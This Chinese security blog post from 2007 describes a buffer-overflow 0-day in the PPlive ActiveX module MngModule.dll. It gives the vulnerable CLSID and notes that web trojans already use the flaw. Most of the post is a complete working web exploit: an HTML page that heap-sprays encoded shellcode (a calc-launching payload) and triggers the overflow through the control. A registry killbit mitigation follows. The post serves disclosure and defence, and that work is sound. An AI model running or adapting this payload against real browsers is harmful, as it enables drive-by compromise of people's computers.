下一个就是你!PPlive 0Day 网马曝光!

    [多云 November 13, 2007 11:26 | by ]
根据近期恶意网址检测的结果,发现有一部分网马利用最新的PPlive 0Day漏洞在传播,虽然目前数目还不多,但是相信很快就会成为网马的主力军,并与迅雷、百度搜霸、暴风影音、PPS等一路,加入今年应用软件网页木马的大潮中。
该漏洞是由Bug Center Team(http://www.cnbct.org/index.php) 小组的Maple-x发现的,影响版本:
为 pplive 1.8beat2 ,有问题的dll: MngModule.dll 1.7.0.2 ,在该模块中,有一个vsprintf的函数,程序只分配了400h(1024个字节)的大小,中间并没有进行过长度判断,当提交超过1024个A以后就会发生溢出了。因此可以基本判断为是由于vsprintf的字符串长度过长,从而导致的溢出。由此可见,在编写程序时,做好边界检查是多么的重要!

该有漏洞溢出模块的CLSID:9F0F8700-A4D8-4E24-A3E0-1CA654CB5179

另附上Exploit:


<html>
<body >
<object classid='clsid:9F0F8700-A4D8-4E24-A3E0-1CA654CB5179' id='target'></object>
<script>
var heapSprayToAddress = 0x0a0a0a0a;

var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%u03eb%ueb59%ue805%ufff8%uffff%u494f%u4949%u4949%u5149%u565a%u5854%u3336
%u5630%u3458%u3041%u3642%u4848%u4230%u3033%u4342%u5856%u4232%u4244%u3448
%u3241%u4441%u4130%u5444%u4442%u4251%u4130%u4144%u5856%u5a34%u4238%u4a44
%u4d4f%u4f4e%u4e4a%u5446%u5042%u5042%u3042%u584b%u5445%u334e%u384b%u574e
%u3045%u374a%u3041%u4e4f%u584b%u444f%u414a%u384b%u354f%u4242%u3041%u4e4b
%u3449%u584b%u3346%u584b%u3041%u4e50%u3341%u4c42%u3949%u4a4e%u5846%u4c42
%u3746%u3047%u4c41%u4c4c%u504d%u5041%u4c44%u4e4b%u4f46%u534b%u5546%u3246
%u3046%u4745%u4e45%u484b%u354f%u3246%u5041%u4e4b%u3648%u584b%u504e%u544b
%u584b%u354f%u314e%u5041%u4e4b%u384b%u414e%u384b%u3041%u4e4b%u3849%u454e
%u5246%u5046%u4c43%u5341%u4c42%u4646%u484b%u4442%u4342%u3845%u4c42%u374a
%u504e%u484b%u4442%u504e%u484b%u5742%u514e%u4a4d%u484b%u464a%u304a%u4e4b
%u3049%u584b%u5842%u4b42%u3042%u5042%u3042%u484b%u464a%u434e%u554f%u4341
%u4f48%u5642%u5548%u5849%u4f4a%u3843%u4c42%u574b%u5542%u464a%u4e4f%u4c50
%u4e42%u4642%u364a%u494a%u4f50%u484c%u3050%u3547%u4f4f%u4e47%u4643%u5641
%u464e%u5643%u4250%u5645%u374a%u3645%u3042%uff5a");

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
var buffer = '\x0a';

while (buffer.length < 1044)
buffer += '\x0a\x0a\x0a\x0a';

target.X(true, buffer, 1);
</script>
</body>
</html>


目前的临时解决办法也就是在注册表中设置killbit 。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9F0F8700-A4D8-4E24-A3E0-1CA654CB5179}]
"Compatibility Flags"=dword:00000400

参考连接:《初探ActiveX类型溢出---PPlive 0Day》

http://www.cnbct.org/index.php?action=article_view&aid=21

应用软件们注意了,下一个就是你!

from:网络巡警的博客
Tags: , ,
News | Comments(0) | Trackbacks(0) | Reads(7279)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive